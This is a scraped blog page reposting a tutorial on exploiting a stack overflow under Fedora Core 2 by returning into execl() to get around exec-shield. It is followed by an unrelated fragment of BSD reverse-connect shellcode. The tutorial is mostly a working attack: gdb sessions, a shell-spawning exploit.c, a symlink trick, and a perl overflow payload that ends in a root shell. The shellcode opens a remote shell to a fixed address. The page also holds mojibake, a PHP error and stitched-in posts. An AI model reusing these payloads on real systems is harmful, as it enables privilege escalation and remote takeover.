overflows, and against other types of exploits that rely on overwriting data structures
and / or putting code into those structures." So it is almost impossible for us to use
shellcode for exploitation. This is because stack is non-execuatble and many map()-ed
data areas and the malloc() heap is non-executable as well. You could identify this
in the "Use of eggshell" section of my "Test by using classical overflow technique in
Fedora Core 2".
2) Kernel remaps all PROT_EXEC mappings to the 'ASCII-armor' area, which on x86 is the
addresses 0-16MB. So they cannot be jumped to via ASCII-based overflows. The first 1MB
of the ASCII-armor is left unused to provide 'NULL pointer dereference protection'. And
kernel relocates every shared-library to the ASCII-armor. In the classical and return-
into-libc technique, we use 4 bytes address to exploit.But we can't use 4 bytes address
system to overwrite stack owing to the NULL pointer dereference protection.And the more
serious thing is that kernel relocates every shared-library to the ASCII-armor, so we
can't use 'classical' return-into-libc. Most of case, we use the address of system() in
the return-into-libc technique. Look at the following result from Fedora Core 2:
(gdb) x/i setuid
0x005fefc0 <setuid>: push %ebp
(gdb) x/i system
0x005ab5e0 <system>: push %ebp
As you can see, NULL pointer dereference protection is applied.
Look at the following mapping state of library area.
[vangelis@testbed fedora]$ cat /proc/25297/maps
0055b000-00570000 r-xp 00000000 03:05 84857 /lib/ld-2.3.3.so
00570000-00571000 r--p 00014000 03:05 84857 /lib/ld-2.3.3.so
00571000-00572000 rw-p 00015000 03:05 84857 /lib/ld-2.3.3.so
00578000-0068d000 r-xp 00000000 03:05 84858 /lib/tls/libc-2.3.3.so
0068d000-0068f000 r--p 00115000 03:05 84858 /lib/tls/libc-2.3.3.so
0068f000-00691000 rw-p 00117000 03:05 84858 /lib/tls/libc-2.3.3.so
00691000-00693000 rw-p 00000000 00:00 0
006ba000-006bc000 r-xp 00000000 03:05 84860 /lib/libdl-2.3.3.so
006bc000-006bd000 r--p 00001000 03:05 84860 /lib/libdl-2.3.3.so
006bd000-006be000 rw-p 00002000 03:05 84860 /lib/libdl-2.3.3.so
008d6000-008d9000 r-xp 00000000 03:05 84874 /lib/libtermcap.so.2.0.8
008d9000-008da000 rw-p 00002000 03:05 84874 /lib/libtermcap.so.2.0.8
00bf4000-00bfe000 r-xp 00000000 03:05 80211 /lib/libnss_files-2.3.3.so
00bfe000-00bff000 r--p 00009000 03:05 80211 /lib/libnss_files-2.3.3.so
00bff000-00c00000 rw-p 0000a000 03:05 80211 /lib/libnss_files-2.3.3.so
00f4f000-00f50000 r-xp 00000000 00:00 0
08047000-080d2000 r-xp 00000000 03:05 70763 /bin/bash
080d2000-080d8000 rw-p 0008b000 03:05 70763 /bin/bash
080d8000-080dc000 rw-p 00000000 00:00 0
09a65000-09a86000 rw-p 00000000 00:00 0
f6d11000-f6d12000 rw-p 00000000 00:00 0
f6d12000-f6d18000 r--s 00000000 03:02 711249 /usr/lib/gconv/gconv-modules.cache
f6d18000-f6e3f000 r--p 0187d000 03:02 697386 /usr/lib/locale/locale-archive
f6e3f000-f703f000 r--p 00000000 03:02 697386 /usr/lib/locale/locale-archive
f703f000-f7080000 rw-p 00000000 00:00 0
f70a3000-f70a5000 rw-p fffff000 00:00 0
feea4000-ff000000 rw-p fff65000 00:00 0
ffffd000-ffffe000 ---p 00000000 00:00 0
[vangelis@testbed fedora]$
The library area is within the ASCII-armor.
3) "If the overflow is within the exec-shield itself (e.g. within the data section of one
of the shared library objects in the ASCII-armor) then the overflow might be possible
to exploit."
4) The exec-shield is not an 'exec-blanket' for 100% protection but just one 'exec-barrier'
against attacks. So it is worth making good hammer to break down the 'exec-barrier'.
Don't you think so? Now, it's time to make a good hammer or at least a spear.
4. A Good Hammer to Break Down 'exec-barrier'
Before going into the middle of the battle field, let's check the difference between the
Red Hat 9.0 and Fedora Core 2. beist(http://beist.org) supplied me with the following neat
table.
[Memory Mapping Table]
+----------+---------------------------------+--------------------------------+
| | Red HaT LINUX 9.0 | Fedora CORE2 |
|----------+---------------------------------+--------------------------------+
| Library | /lib/ld-2.3.2.so | /lib/ld-2.3.3.so |
| | 0x40000000 - 0x40016fff | 0x00415000 - 0x0042bfff |
| | | |
| | /lib/tls/libc-2.3.2.so | /lib/tls/libc-2.3.3.so |
| | 0x42000000 - 0x42132fff | 0x00432000 - 0x0054afff |
| | | |
| | | * position of 'libc-2.3.3.so' |
| | | may change. |
|----------+---------------------------------+--------------------------------+
| Text | 0x8048000 - 0x8048fff | 0x8048000 - 0x8048fff |
+----------+---------------------------------+--------------------------------+
| Data | 0x8049000 - 0x8049fff | 0x8049000 - 0x8049fff |
+----------+---------------------------------+--------------------------------+
[Main Features]
+----------------------+-----------------------+---------------------+
| | Red HaT LINUX 9.0 | Fedora CORE2 |
|----------------------+-----------------------+---------------------+
| Random Stack | O | O |
|----------------------+-----------------------+---------------------+
| Non-executable Stack | x | O |
+----------------------+-----------------------+---------------------+
| Random Library | x | O |
+----------------------+-----------------------+---------------------+
Now, let's go into the middle of battle field. As we saw, it might be possible to exploit
the overflow vulnerability if we use data section. More precisly speaking, we will use some
values of data segment area with execl() function. I'll open the main points right now for
the readers of this articles who can't wait any more. I mean the process of exploit. And
then I will explain each step.
++++++++++++++++++
Steps to exploit
++++++++++++++++++
1) Find the address of <execl+3>, which is used as return address.
2) Examine the data segment area to find the arguments of execl().
3) Examine the values of first argument of execl() to use symbolic link.
4) Make an exploit code for the sake of keeping the privilege of a process and spawning
a shell.
5) Make symbolic link to the exploit with the values of first argument of execl().
6) Make a final exploit payload as follows:
+-------------------------+--------------------------------+---------------+
| data to overflow buffer | *first argument of execl() - 8 | *<execl + 3> |
+-------------------------+--------------------------------+---------------+
It might be a little difficult for you to understand the whole steps yet. But, Don't worry.
You will find yourself playing with a wonderful hammer to break down the 'exec-barrier'in a
few minutes.
Let's make a simple vulnerable program.
[vangelis@testbed fedora]$ cat > vul.c
[vangelis@testbed fedora]$ gcc -o vul vul.c
Let's make some changes for the perfect test.
[vangelis@testbed fedora]$ su
Password:
[root@testbed fedora]# chgrp root vul
[root@testbed fedora]# chown root vul
[root@testbed fedora]# chmod 4755 vul
[root@testbed fedora]# ls -l vul
-rwsr-xr-x 1 root root 4733 11?12 23:11 vul
[root@testbed fedora]# su vangelis
[vangelis@testbed fedora]$
Well.. we are ready to attack the vulnerable program. Do you remember the first step?...
Good! The first step is quite easy. You can find the address of <execl+3> by using gdb.
[vangelis@testbed fedora]$ gdb vul
GNU gdb Red Hat Linux (6.0post-0.20040223.19rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048379
(gdb) r
Starting program: /home/vangelis/fedora/vul
Error while mapping shared library sections:
: ?
깃났.
Error while reading shared library symbols:
: 洹몃?漿佾 應좏좊━媛 壹.
(no debugging symbols found)...(no debugging symbols found)...Error while reading shared library symbols:
: 洹몃?漿佾 應좏좊━媛 壹.
Error while reading shared library symbols:
: 洹몃?漿佾 應좏좊━媛 壹.
Breakpoint 1, 0x08048379 in main ()
(gdb) disas execl
Dump of assembler code for function execl:
0x005fea00 <execl+0>: push %ebp
0x005fea01 <execl+1>: mov %esp,%ebp
0x005fea03 <execl+3>: lea 0x10(%ebp),%eax
0x005fea06 <execl+6>: push %edi
0x005fea07 <execl+7>: push %esi
0x005fea08 <execl+8>: push %ebx
0x005fea09 <execl+9>: sub $0x1030,%esp
0x005fea0f <execl+15>: mov 0xc(%ebp),%ecx
0x005fea12 <execl+18>: movl $0x400,0xfffffff0(%ebp)
0x005fea19 <execl+25>: lea 0x1b(%esp),%esi
0x005fea1d <execl+29>: and $0xfffffff0,%esi
0x005fea20 <execl+32>: call 0x58c90d <__i686.get_pc_thunk.bx>
0x005fea25 <execl+37>: add $0x905d7,%ebx
0x005fea2b <execl+43>: mov %ecx,(%esi)
0x005fea2d <execl+45>: test %ecx,%ecx
0x005fea2f <execl+47>: mov %eax,0xffffffe8(%ebp)
0x005fea32 <execl+50>: movl $0x1,0xffffffec(%ebp)
0x005fea39 <execl+57>: je 0x5fea73 <execl+115>
0x005fea3b <execl+59>: movl $0x1a,0xffffffe0(%ebp)
0x005fea42 <execl+66>: lea 0x0(%esi),%esi
0x005fea49 <execl+73>: lea 0x0(%edi),%edi
0x005fea50 <execl+80>: mov 0xfffffff0(%ebp),%edx
0x005fea53 <execl+83>: cmp %edx,0xffffffec(%ebp)
0x005fea56 <execl+86>: je 0x5fea96 <execl+150>
0x005fea58 <execl+88>: addl $0x8,0xffffffe0(%ebp)
0x005fea5c <execl+92>: mov 0xffffffe8(%ebp),%edx
0x005fea5f <execl+95>: mov 0xffffffec(%ebp),%edi
0x005fea62 <execl+98>: addl $0x4,0xffffffe8(%ebp)
0x005fea66 <execl+102>: mov (%edx),%ecx
0x005fea68 <execl+104>: mov %ecx,(%esi,%edi,4)
0x005fea6b <execl+107>: inc %edi
0x005fea6c <execl+108>: test %ecx,%ecx
0x005fea6e <execl+110>: mov %edi,0xffffffec(%ebp)
0x005fea71 <execl+113>: jne 0x5fea50 <execl+80>
0x005fea73 <execl+115>: mov 0xfffffee0(%ebx),%edi
0x005fea79 <execl+121>: mov (%edi),%ecx
0x005fea7b <execl+123>: mov %esi,0x4(%esp)
0x005fea7f <execl+127>: mov 0x8(%ebp),%esi
0x005fea82 <execl+130>: mov %ecx,0x8(%esp)
0x005fea86 <execl+134>: mov %esi,(%esp)
0x005fea89 <execl+137>: call 0x5fe7a0 <execve>
0x005fea8e <execl+142>: lea 0xfffffff4(%ebp),%esp
0x005fea91 <execl+145>: pop %ebx
0x005fea92 <execl+146>: pop %esi
0x005fea93 <execl+147>: pop %edi
0x005fea94 <execl+148>: pop %ebp
0x005fea95 <execl+149>: ret
0x005fea96 <execl+150>: mov 0xffffffec(%ebp),%edx
0x005fea99 <execl+153>: mov 0xffffffe0(%ebp),%ecx
0x005fea9c <execl+156>: add %edx,%edx
0x005fea9e <execl+158>: mov %edx,0xffffffe4(%ebp)
0x005feaa1 <execl+161>: and $0xfffffffc,%ecx
0x005feaa4 <execl+164>: sub %ecx,%esp
0x005feaa6 <execl+166>: mov %edx,0xfffffff0(%ebp)
0x005feaa9 <execl+169>: mov 0xffffffe4(%ebp),%eax
0x005feaac <execl+172>: lea 0x1b(%esp),%edx
0x005feab0 <execl+176>: and $0xfffffff0,%edx
0x005feab3 <execl+179>: lea (%eax,%edx,1),%edi
0x005feab6 <execl+182>: cmp %esi,%edi
0x005feab8 <execl+184>: je 0x5feacc <execl+204>
0x005feaba <execl+186>: cld
0x005feabb <execl+187>: mov 0xffffffec(%ebp),%ecx
0x005feabe <execl+190>: mov %edx,%edi
0x005feac0 <execl+192>: shl $0x2,%ecx
0x005feac3 <execl+195>: shr $0x2,%ecx
0x005feac6 <execl+198>: repz movsl %ds:(%esi),%es:(%edi)
0x005feac8 <execl+200>: mov %edx,%esi
0x005feaca <execl+202>: jmp 0x5fea58 <execl+88>
0x005feacc <execl+204>: cld
0x005feacd <execl+205>: mov 0xffffffec(%ebp),%ecx
0x005fead0 <execl+208>: mov %edx,%edi
0x005fead2 <execl+210>: shl $0x2,%ecx
0x005fead5 <execl+213>: shr $0x2,%ecx
0x005fead8 <execl+216>: repz movsl %ds:(%esi),%es:(%edi)
0x005feada <execl+218>: mov %edx,%esi
0x005feadc <execl+220>: mov 0xffffffe4(%ebp),%edi
0x005feadf <execl+223>: mov 0xffffffec(%ebp),%eax
0x005feae2 <execl+226>: add %eax,%edi
0x005feae4 <execl+228>: mov %edi,0xfffffff0(%ebp)
0x005feae7 <execl+231>: jmp 0x5fea58 <execl+88>
0x005feaec <execl+236>: nop
0x005feaed <execl+237>: nop
0x005feaee <execl+238>: nop
0x005feaef <execl+239>: nop
End of assembler dump.
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@testbed fedora]$
The reason why we don't the address of <execl+0> or <execl+1> is that the value of %ebp may
be changed if "push %ebp" or "mov %esp,%ebp" is executed. We found the address of <execl+3>
very easily by using gdb: 0x005fea03.
Now, the second step...
Let's examine the data segment area to find the arguments of execl(). As you saw in the
"Memory Mapping Table", data segment starts at 0x8049000.
[vangelis@testbed fedora]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048379
(gdb) r
Starting program: /home/vangelis/fedora/vul
Error while mapping shared library sections:
: ?
깃났.
Error while reading shared library symbols:
: 洹몃?漿佾 應좏좊━媛 壹.
(no debugging symbols found)...(no debugging symbols found)...Error while reading shared
library symbols:
: 洹몃?漿佾 應좏좊━媛 壹.
Error while reading shared library symbols:
: 洹몃?漿佾 應좏좊━媛 壹.
Breakpoint 1, 0x08048379 in main ()
(gdb) x/50x 0x8049000
0x8049000: 0x464c457f 0x00010101 0x00000000 0x00000000
0x8049010: 0x00030002 0x00000001 0x080482c0 0x00000034
0x8049020: 0x00000788 0x00000000 0x00200034 0x00280007
0x8049030: 0x0019001c 0x00000006 0x00000034 0x08048034
0x8049040: 0x08048034 0x000000e0 0x000000e0 0x00000005
0x8049050: 0x00000004 0x00000003 0x00000114 0x08048114
0x8049060: 0x08048114 0x00000013 0x00000013 0x00000004
0x8049070: 0x00000001 0x00000001 0x00000000 0x08048000
0x8049080: 0x08048000 0x0000047c 0x0000047c 0x00000005
0x8049090: 0x00001000 0x00000001 0x0000047c 0x0804947c
0x80490a0: 0x0804947c 0x00000100 0x00000104 0x00000006
0x80490b0: 0x00001000 0x00000002 0x00000490 0x08049490
0x80490c0: 0x08049490 0x000000c8
(gdb)
0x80490c8: 0x000000c8 0x00000006 0x00000004 0x00000004
0x80490d8: 0x00000128 0x08048128 0x08048128 0x00000020
0x80490e8: 0x00000020 0x00000004 0x00000004 0x6474e551
0x80490f8: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049108: 0x00000000 0x00000006 0x00000004 0x62696c2f
0x8049118: 0x2d646c2f 0x756e696c 0x6f732e78 0x0000322e
0x8049128: 0x00000004 0x00000010 0x00000001 0x00554e47
0x8049138: 0x00000000 0x00000002 0x00000002 0x00000005
0x8049148: 0x00000003 0x00000006 0x00000004 0x00000001
0x8049158: 0x00000005 0x00000000 0x00000000 0x00000000
0x8049168: 0x00000000 0x00000003 0x00000002 0x00000000
0x8049178: 0x00000000 0x00000000 0x00000000 0x00000044
0x8049188: 0x00000000 0x000000ef
(gdb)
0x8049190: 0x00000012 0x00000035 0x08048474 0x00000004
0x80491a0: 0x000e0011 0x00000001 0x00000000 0x00000000
0x80491b0: 0x00000020 0x00000015 0x00000000 0x00000000
0x80491c0: 0x00000020 0x0000002e 0x00000000 0x00000030
0x80491d0: 0x00000012 0x764a5f00 0x6765525f 0x65747369
0x80491e0: 0x616c4372 0x73657373 0x675f5f00 0x5f6e6f6d
0x80491f0: 0x72617473 0x005f5f74 0x6362696c 0x2e6f732e
0x8049200: 0x74730036 0x79706372 0x4f495f00 0x6474735f
0x8049210: 0x755f6e69 0x00646573 0x696c5f5f 0x735f6362
0x8049220: 0x74726174 0x69616d5f 0x4c47006e 0x5f434249
0x8049230: 0x00302e32 0x00020000 0x00000001 0x00020000
0x8049240: 0x00010001 0x00000024 0x00000010 0x00000000
0x8049250: 0x0d696910 0x00020000
(gdb)
0x8049258: 0x00000056 0x00000000 0x08049558 0x00000406
0x8049268: 0x08049568 0x00000107 0x0804956c 0x00000507
0x8049278: 0x83e58955 0x61e808ec 0xe8000000 0x000000bc
0x8049288: 0x0001a3e8 0x00c3c900 0x956035ff 0x25ff0804
0x8049298: 0x08049564 0x00000000 0x956825ff 0x00680804
0x80492a8: 0xe9000000 0xffffffe0 0x956c25ff 0x08680804
0x80492b8: 0xe9000000 0xffffffd0 0x895eed31 0xf0e483e1
0x80492c8: 0x68525450 0x080483ec 0x0483a468 0x68565108
0x80492d8: 0x08048370 0xffffbfe8 0x9090f4ff 0x53e58955
0x80492e8: 0x000000e8 0xc3815b00 0x0000126f 0xfc838b50
0x80492f8: 0x85ffffff 0xff0274c0 0xfc5d8bd0 0x9090c3c9
0x8049308: 0x83e58955 0x3d8008ec 0x0804957c 0xa1297500
0x8049318: 0x08049578 0xd285108b
(gdb)
0x8049320: 0xf6891774 0xa304c083 0x08049578 0x78a1d2ff
0x8049330: 0x8b080495 0x75d28510 0x7c05c6eb 0x01080495
0x8049340: 0xf689c3c9 0x83e58955 0x8ca108ec 0x85080494
0x8049350: 0xb81974c0 0x00000000 0x1074c085 0x680cec83
0x8049360: 0x0804948c 0xc483d0ff 0x00768d10 0x9090c3c9
0x8049370: 0x81e58955 0x000108ec 0xf0e48300 0x000000b8
0x8049380: 0x83c42900 0x458b08ec 0x04c0830c 0x858d30ff
0x8049390: 0xfffffef8 0xff16e850 0xc483ffff 0x0000b810
0x80493a0: 0xc3c90000 0x57e58955 0xec835356 0x0000e80c
0x80493b0: 0x815b0000 0x0011aac3 0xfebae800 0x938dffff
0x80493c0: 0xffffff20 0xff208b8d 0xca29ffff 0xfac1f631
0x80493d0: 0x73d63902 0x90d7890f 0x20b394ff 0x46ffffff
0x80493e0: 0xf472fe39 0x5b0cc483
(gdb)
0x80493e8: 0xc3c95f5e 0x56e58955 0x0000e853 0x815b0000
0x80493f8: 0x001166c3 0x208b8d00 0x8dffffff 0xffff2083
0x8049408: 0xc1c129ff 0xc98502f9 0x75ff718d 0x003ae80b
0x8049418: 0x5e5b0000 0xf689c3c9 0x20b394ff 0x89ffffff
0x8049428: 0xd2854ef2 0xe5ebf275 0x53e58955 0x947ca152
0x8049438: 0xf8830804 0x947cbbff 0x0c740804 0xff04eb83
0x8049448: 0x83038bd0 0xf475fff8 0xc3c95b58 0x53e58955
0x8049458: 0x000000e8 0xc3815b00 0x000010ff 0xfe9ee852
0x8049468: 0x5d8bffff 0x00c3c9fc 0x00000003 0x00020001
0x8049478: 0x00000000 0xffffffff 0x00000000 0xffffffff
0x8049488 <__DTOR_END__>: 0x00000000 0x00000000 0x00000001 0x00000024
0x8049498 <_DYNAMIC+8>: 0x0000000c 0x08048278 0x0000000d 0x08048454
0x80494a8 <_DYNAMIC+24>: 0x00000004 0x08048148
(gdb)
0x80494b0 <_DYNAMIC+32>: 0x00000005 0x080481d4 0x00000006 0x08048174
0x80494c0 <_DYNAMIC+48>: 0x0000000a 0x00000060 0x0000000b 0x00000010
0x80494d0 <_DYNAMIC+64>: 0x00000015 0x005714b8 0x00000003 0x0804955c
0x80494e0 <_DYNAMIC+80>: 0x00000002 0x00000010 0x00000014 0x00000011
0x80494f0 <_DYNAMIC+96>: 0x00000017 0x08048268 0x00000011 0x08048260
0x8049500 <_DYNAMIC+112>: 0x00000012 0x00000008 0x00000013 0x00000008
0x8049510 <_DYNAMIC+128>: 0x6ffffffe 0x08048240 0x6fffffff 0x00000001
0x8049520 <_DYNAMIC+144>: 0x6ffffff0 0x08048234 0x00000000 0x00000000
0x8049530 <_DYNAMIC+160>: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049540 <_DYNAMIC+176>: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049550 <_DYNAMIC+192>: 0x00000000 0x00000000 0x00000000 0x08049490
0x8049560 <_GLOBAL_OFFSET_TABLE_+4>: 0x005714d0 0x00566830 0x0058c9f0 0x080482b6
0x8049570 <data_start>: 0x00000000 0x00000000
(gdb) x/8x 0x8049564
0x8049564 <_GLOBAL_OFFSET_TABLE_+8>: 0x00566830 0x0058c9f0 0x080482b6 0x00000000
0x8049574 <__dso_handle>: 0x00000000 0x08049488 0x00000000 0x00000000
(gdb)
We found the parts which can be used as arguments of execl(). The synopsis is as follows:
execl(char *path, char *arg0,...,char *argn, 0);
As you know and see, the last argument of execl() must be null. So, the parts which can be
used as arguments of execl() for the sake of our purpose are underlined.
0x8049564 <_GLOBAL_OFFSET_TABLE_+8>: 0x00566830 0x0058c9f0 0x080482b6 0x00000000
---------- ---------- ----------
We will use execl() like "execl(0x8049568, 0x804956c, 0x8049570)". We have to use address
values because the arguments must be pointers.
The 3rd step...
Let's examine the values of first argument of execl() to use symbolic link.
(gdb) x/8x 0x0058c9f0
0x58c9f0 <__libc_start_main>: 0x57e58955 0xec835356 0x0c458b4c 0xe810558b
---------- ---------- ---------- ----------
0x58ca00 <__libc_start_main+16>: 0xffffff09 0x25f8c381 0x7d8b0010 0x1c758b18
---------- ---------- --
(gdb) x/8x 0x080482b6
0x80482b6 <_init+62>: 0x00000868 0xffd0e900 0xed31ffff 0x83e1895e
0x80482c6 <_start+6>: 0x5450f0e4 0x83ec6852 0xa4680804 0x51080483
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@testbed fedora]$
The 25 bytes' data in 0x0058c9f0 is the file name when execl() is called. So we need to make
a symbolic link with this data. Now we make a exploit program.
The fourth step...
Let's make an exploit code which can keep the privilege of a process and spawn a shell. This
exploit will be able to keep the privilege(setuid(0)) of the vulnerable program and give a
root shell when we succeed in the attack.
[vangelis@testbed fedora]$ cat > exploit.c
#include <unistd.h>
main()
{
setreuid(geteuid(),geteuid());
setregid(getegid(),getegid());
execl("/bin/sh", "sh", 0);
}
[vangelis@testbed fedora]$ gcc -o exploit exploit.c
The Fifth step...
It's time to make a symbolic link to the exploit with the values of first argument of execl().
[vangelis@testbed fedora]$ ln -s /home/vangelis/fedora/exploit "`perl -e 'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x4c\x8b\x45\x0c\x8b\x55\x10", "\xe8\x09\xff\xff\xff\x81\xc3\xf8\x25\x10"'`"
Let's check the state of symboloic link.
[vangelis@testbed fedora]$ ls -l
刺怨
24
lrwxrwxrwx 1 vangelis vangelis 29 11?12 11:28 U??WVS??L?E??U?????????%? -> /home/vangelis/fedora/exploit
-rwxrwxr-x 1 vangelis vangelis 5186 11?12 11:27 exploit
-rw-rw-r-- 1 vangelis vangelis 101 11?12 11:27 exploit.c
-rwsr-xr-x 1 root root 4725 11?12 10:31 vul
-rw-rw-r-- 1 vangelis vangelis 90 11?12 10:31 vul.c
[vangelis@testbed fedora]$
Good..
The last step...
Before we make a payload for the final attack, we have to check how many data we need to
overflow buffer. We can use gdb for this purpose. I believe you are not such a fool to
decide the bytes of data to overflow through the glimp of source code of vul.c. My last
post to Neworder("Stack-based Overflow Exploit: Introduction to Classical and Advanced
Overflow Technique",http://neworder.box.sk/newsread.php?newsid=12476) shows that we must
consider the dummy value.
[vangelis@testbed fedora]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048370 <main+0>: push %ebp
0x08048371 <main+1>: mov %esp,%ebp
0x08048373 <main+3>: sub $0x108,%esp // 264 bytes are needed to overflow buffer
0x08048379 <main+9>: and $0xfffffff0,%esp
0x0804837c <main+12>: mov $0x0,%eax
0x08048381 <main+17>: sub %eax,%esp
0x08048383 <main+19>: sub $0x8,%esp
0x08048386 <main+22>: mov 0xc(%ebp),%eax
0x08048389 <main+25>: add $0x4,%eax
0x0804838c <main+28>: pushl (%eax)
0x0804838e <main+30>: lea 0xfffffef8(%ebp),%eax
0x08048394 <main+36>: push %eax
0x08048395 <main+37>: call 0x80482b0 <_init+56>
0x0804839a <main+42>: add $0x10,%esp
0x0804839d <main+45>: mov $0x0,%eax
0x080483a2 <main+50>: leave
0x080483a3 <main+51>: ret
End of assembler dump.
(gdb) q
[vangelis@testbed fedora]$
Now we gathered all data that are necessary to make a wonderful hammer to break down the
'exec-barrier' Let's be a knight of the hammer.
The final payload is as follows:
+-------------------------+--------------------------------+---------------+
| data to overflow buffer | *first argument of execl() - 8 | *<execl + 3> |
+-------------------------+--------------------------------+---------------+
^ ^ ^
| | |
264 bytes 0x8049568 - 8 = 0x8049560 0x5fea03
Now we gathered all data that are necessary to make a wonderful hammer to break down the
The reason of "*first argument of execl() - 8" is that execl() does its work with
calling execve() internally and execve() references 'ebp+8' when it gets the pointer to
a file name.
Let's swing the hammer.
[vangelis@testbed fedora]$ ./vul `perl -e 'print "A"x264,"\x60\x95\x04\x08\x03\xea\x5f"'`
sh-2.05b# id
uid=0(root) gid=501(vangelis) groups=501(vangelis)
sh-2.05b# whoami
root
sh-2.05b#
Wow, you break down the 'exec-barrier'! You got a root shell.
What a nice knight of the hammer you are!
Before I leave for Christmas Holiday, I want to say that this may not be a perfect manual
to exploit overflow vulnerability under Fedora Core environment. If someone knows more
advanced ways to exploit, I want his or her feedback. Thank you for reading this article.
+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+
|M|e|r|r|y| |C|h|r|i|s|t|m|a|s|
+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+
::::::| ,::::
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
:| ++ :|
:::"::|:~~/ :::| :::| :\:| ::| :::| :::| :| <::< :::| :\/| .::\ <::<
::| ::|:::, :| :| `::| '::::/:|:| :| :| >::> :| :::| `::| >::>
.,:'
**********************************************************************************
I want Santa Claus to give me accounts of some kinds of unix operation systems,
for example AIX, Solaris, HP-UX, Mac OS, BSD,....
If you know good Santa Clauses, mail me, please.^^
********************************************************************************** - How to Exploit Overflow Vulnerability Under Fed... (0)2007/04/25
- WARMING UP on STACK(1~4) (0)2007/04/13
- EGGhunter Buffer Overflow 臾몄 (0)2007/04/13
- Stack bof 湲곕쾿? (0)2007/04/13
- Exploiting Non-adjacent Memory Spaces (Phrack M... (0)2007/04/13
- Frame Pointer Overwriting (0)2007/04/13
- Bypassing StackGuard and StackShield (0)2007/04/13
- File Descriptor Hijacking (0)2007/04/13
- [PDF] BufferOverflow (2)2006/12/17
- Windows RPC Interface? (0)2006/11/25
- 이 글의 트랙백 주소
- http://www.webdizen.net/blog/trackback/2861
- 댓글 남기기
WARMING UP on STACK(1~4)
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
WARMING UP on STACK(1~4)
Insecure Programming by example
(http://community.corest.com/~gera/InsecureProgramming/)
?"Overflow" 카테고리의 다른 글- How to Exploit Overflow Vulnerability Under Fed... (0)2007/04/25
- WARMING UP on STACK(1~4) (0)2007/04/13
- EGGhunter Buffer Overflow 臾몄 (0)2007/04/13
- Stack bof 湲곕쾿? (0)2007/04/13
- Exploiting Non-adjacent Memory Spaces (Phrack M... (0)2007/04/13
- Frame Pointer Overwriting (0)2007/04/13
- Bypassing StackGuard and StackShield (0)2007/04/13
- File Descriptor Hijacking (0)2007/04/13
- [PDF] BufferOverflow (2)2006/12/17
- Windows RPC Interface? (0)2006/11/25
- 이 글의 트랙백 주소
- http://www.webdizen.net/blog/trackback/2846
- 댓글 남기기
由щ쾭?
* BSD/x86 64 bytes reverse connect code.
*
* root@marcetam.net
*/
#define IP "x7fx00x00x01" /* 127.0.0.1 */
#define PORT "x03xe8" /* 1000 */
char reverse_connect[]=
"x6ax61" /* push $0x61 */
"x58" /* pop %eax */
"x99" /* cdq */
"x52" /* push %edx */
"x42" /* inc %edx */
"x52" /* push %edx */
"x42" /* inc %edx */
"x52" /* push %edx */
"x68"IP /* push IP */
"xcdx80" /* int $0x80 */
"x66x68"PORT /* pushw PORT */
"x66x52" /* pushw %dx */
"x89xe6" /* movb %esp, %esi */
"x6ax10" /* push $0x10 */
"x56" /* push %esi */
"x50" /* push %eax */
"x50" /* push %eax */
"xb0x62" /* movb $0x62, %al */
"xcdx80" /* int $0x80 */
"x5b" /* pop %ebx */
"xb0x5a" /* movb $0x5a, %al */
"x52" /* push %edx */
"x53" /* push %ebx */
"x52" /* push %edx */
"x4a" /* dec %edx */
"xcdx80" /* int $0x80 */
"x7dxf6" /* jge loop */
"x68x6ex2fx73x68" /* push $0x68732f6e */
"x68x2fx2fx62x69" /* push $0x69622f2f */
"x89xe3" /* mov %esp, %ebx */
"x50" /* push %eax */
"x54" /* push %esp */
"x53" /* push %ebx */
"x53" /* push %ebx */
"xb0x3b" /* movb $0x3b, %al */
"xcdx80"; /* int $0x80 */
int main() {
void (*x)() = (void *) reverse_connect;
x();
}
- 由щ쾭? (0)2007/04/13
- ? (0)2007/04/13
- 理 (0)2007/04/13
- Sheel Code (0)2006/11/25
- Shared Library Redirection via ELF PLT Infection (0)2006/11/25
- How to make shellcode in Linux for beginners (0)2006/11/25
- Hacker쨈s note for alpha bindshellcode (0)2006/11/25
- hacker쨈s efforts for solaris x86 bindshell code (0)2006/11/25
- Making Basic Shellc0de For Kidz (0)2006/11/25
- Developing StrongARM/Linux shellcode (0)2006/11/25
- 이 글의 트랙백 주소
- http://www.webdizen.net/blog/trackback/2845
- 댓글 남기기





















